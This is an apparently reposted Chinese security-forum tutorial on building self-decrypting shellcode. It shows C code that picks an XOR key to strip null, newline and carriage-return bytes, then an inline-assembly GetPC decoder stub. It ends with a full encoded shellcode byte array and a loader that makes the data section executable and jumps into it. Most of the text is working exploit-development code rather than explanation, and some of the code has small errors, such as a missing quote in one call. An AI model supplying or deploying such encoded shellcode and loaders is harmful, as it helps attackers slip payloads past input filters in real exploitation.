11

[原创]ShellCode学习2:实现ShellCode的加密与自解密

 3 years ago
source link: https://bbs.pediy.com/thread-267981.htm
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

ShellCode学习2:

ShellCode中级版:

知道了怎么通过自己写一个完整的ShellCode之后,现在我们就要实现一些在我看来比较高级的操作了,首先,在我学习以来,ShellCode被理解成了栈溢出漏洞利用的锋利武器。

那么,在进行漏洞利用的同时,很有可能你的ShellCode就会因为00截断而不能正常运行,本次内容讲的就是如何让自己的ShellCode一个(0x00,0x0A,0x0D)也没有!!!

当然,你可能会想,我在编写的时候遇到0x00我就想方设法换成没有0x00的代码就行了。答案是:当然不行,在一些固定的参数必须含0的情况下,你这种骚操作无疑让自己秃头秃的更快。

在这里,我们就要用到加密解密的操作了,在源代码不能预防的情况下,我们就给它加密。

加密的操作有很多,在这里,因为我们仅仅是不想它出现(0x00,0x0A,0x0D),所以就没必要整那么复杂的加密操作了。直接整个异或就ok了

直接上代码

// 加密函数
DWORD EnCodeArr(char* arr,int len)
{
for (int i = 1; i < 0xFF; i++)
{
for (int j = 0; j < len; j++)
{
char a = arr[j] ^ i;
if (a == 0x0 || a == 0xA || a == 0xD)
break;
else
if (j == len - 1)
return i;
}
}
}
int main()
{
char ShellCode[]={"(这里我就不把ShellCode写上去了,太长了。)"}
printf("%0x", EnCodeArr(ShellCode,sizeof(ShellCode)));
}

ok,在这里我们就拿到了能够让我们的ShellCode不出现(0x00,0x0A,0x0D)的对称秘钥(我这里生成的是0x1b)。

接下来我们要用这个秘钥对ShellCode进行加密,然后将加密后的内容保存至一个新建的txt中。

// 密钥0x1b
for (int i = 0; i < sizeof(arr); i++)
{
arr[i] = arr[i] ^ 0x1b;
}
FILE* fp;
fopen_s(&fp, EnCode.txt", "w+");
fwrite(arr, sizeof(arr), 1, fp);
fclose(fp);

到这里,我们加密的ShellCode已经搞定一半了,但是另一半在我看来才是尤为关键的。

理所当然,这段加密过的ShellCode想要直接通过

lea eax EnCodeShellCode
push eax
ret

是不可能的,为什么呢,当然是没有对其进行解密操作

所以在加密的ShellCode前面,我们还得再加一段用于解密的ShellCode(注:这一段用于解密的ShellCode也不能含有任何0x00,0x0A,0x0D)

因此,解密代码的编写尤为重要:

int main()
{
_asm
{
xor eax, eax;
// GetPC
call tag_Get_PC - 1;
tag_Get_PC:
retn;
pop eax;
// Decode
lea esi, [eax+0x20];// ShellCode字符串的起始地址
xor ecx, ecx;
mov cx, 336;//ShellCode大小(字节)
tag_Decode:
mov al, [esi + ecx];
xor al, 0x01b//解密密钥
mov[esi + ecx], al;
loop tag_Decode;
xor [esi + ecx], 0x1b;// 由于循环至最后一个字节,ecx已经为0,所以这里要额外加一个解密操作
jmp esi;// 解密完成后,再跳转回ShellCode初始位置
}
return 0;
}

注:[eax+0x20]是指你的解密代码中的ShellCode距离你的pop eax的偏移(因为你的ShellCode代码是紧跟在你的解密代码的后面的)

先对这段解密代码进行生成二进制ShellCode(判断是否有坏字符)

图片描述

一样的操作进行二进制CShellCode复制(没有0x00,0x0A,0x0D坏字符):

图片描述

那说明可以使用这段解密ShellCode,接下来进行ShellCode拼接,将解密ShellCode与要解密的ShellCode拼接在一起:

#include<Windows.h>
#include<iostream>
// 使数据段可读可写可执行
#pragma comment(linker, "/section:.data,RWE")
// 生成的ShellCode
char arr[] = { "\x55\x8B\xEC\x56\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x20\x33\xC9\x66\xB9\x50\x01"\
"\x8A\x04\x0E\x34\x1B\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x1B\xFF\xE6\x33\xC0\x5E\x5D\xC3"\    // 解密的ShellCode
"\x4E\x90\xF7\x98\xFF\xE3\x98\xF7\x07\x4D\xA2\xC0\xE5\xC5\x11\xF3\x77\x1B\x1B\x1B\xA2\x59"\// ShellCode主逻辑代码
"\x5D\x2C\x10\x90\xEB\xF3\x7B\x1B\x1B\x1B\x96\x57\x3F\x0F\xDC\x5F\x3F\x13\x6E\x68\x7E\x69"\
"\x4A\x96\x57\x3F\x17\xDC\x5F\x3F\x0B\x28\x29\x35\x7F\x4A\x7D\xDC\x5F\x3F\x03\x77\x77\xDD"\
"\x5F\x3F\x01\x1B\xDC\x5F\x3F\x07\x56\x7E\x68\x68\xDC\x5F\x3F\x3B\x7A\x7C\x7E\x59\xDC\x5F"\
"\x3F\x3F\x74\x63\x5A\x1B\xE4\xCB\x4B\xE4\xCD\x71\x1B\x71\x1B\x71\x1B\x71\x1B\xE4\xCB\x28"\
"\xDB\x45\x90\xFE\x46\xD8\xD7\xD7\xD7\xD7\xD7\xD7\xD7\xD7\xD7\xD7\xD7\xD7\x4E\x90\xF7\x9A"\
"\xF7\x1F\x1A\x1B\x1B\x48\x4D\x4C\x92\x56\xEF\x28\xDB\x7F\xBA\x2B\x1B\x1B\x1B\x90\x5B\x17"\
"\x90\x6B\x07\x90\x1D\x90\x1B\x90\x5B\x13\x92\x5E\xE7\x90\x4E\xE7\x96\xA6\x1B\xE4\xE4\xE4"\
"\xA2\x23\x1B\x1B\x1B\x96\x69\x03\x18\x69\x27\xE8\xBE\x90\x9E\x7B\xE4\xE4\xE4\x90\xE9\x90"\
"\x57\x2B\x07\x90\x4F\x2B\x3F\x18\xD5\x18\xCD\x92\x56\xFF\x90\x57\x2B\x3B\x90\x5F\x2B\x03"\
"\x18\xD5\x92\x4E\xF3\x28\xC9\x92\x56\xF7\x92\x4E\xE3\x92\x5E\xEB\x9E\xDB\x6F\x4C\x90\x07"\
"\x8A\x28\xE4\x91\x17\x28\x18\xC5\x28\xDB\x9F\xD2\x6F\x3B\xA5\x0F\x1B\x1B\x1B\x14\xA5\xCA"\
"\x90\xD5\xC8\xF9\x55\x91\x57\x03\x1A\x10\xCB\x5B\x18\xE1\x9F\xD2\x6E\xF0\x90\x4E\xE3\x90"\
"\x6E\xE7\x20\x66\xEF\x6F\x08\x90\x56\xF7\x59\x92\x4E\xE3\x20\x4E\xEB\x69\xA4\x44\x45\x40"\
"\x90\xFE\x46\xD8\x90\x5E\xF3\x90\x56\xFF\x14\xA4\x1F\x4B\x90\x1F\x9A\x18\xDD\x44\x45\x40"\
"\x90\xFE\x46\xD8\x1B" };
int main()
{
_asm {
lea eax,arr
push eax
jmp eax
}
}

对其进行调试再次解释一下[eax+20]为什么是加密ShellCode的首地址:
图片描述图片描述

ok,ShellCode编写完毕,试一试能否运行:

图片描述

[注意] 招人!base上海,课程运营、市场多个坑位等你投递!


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK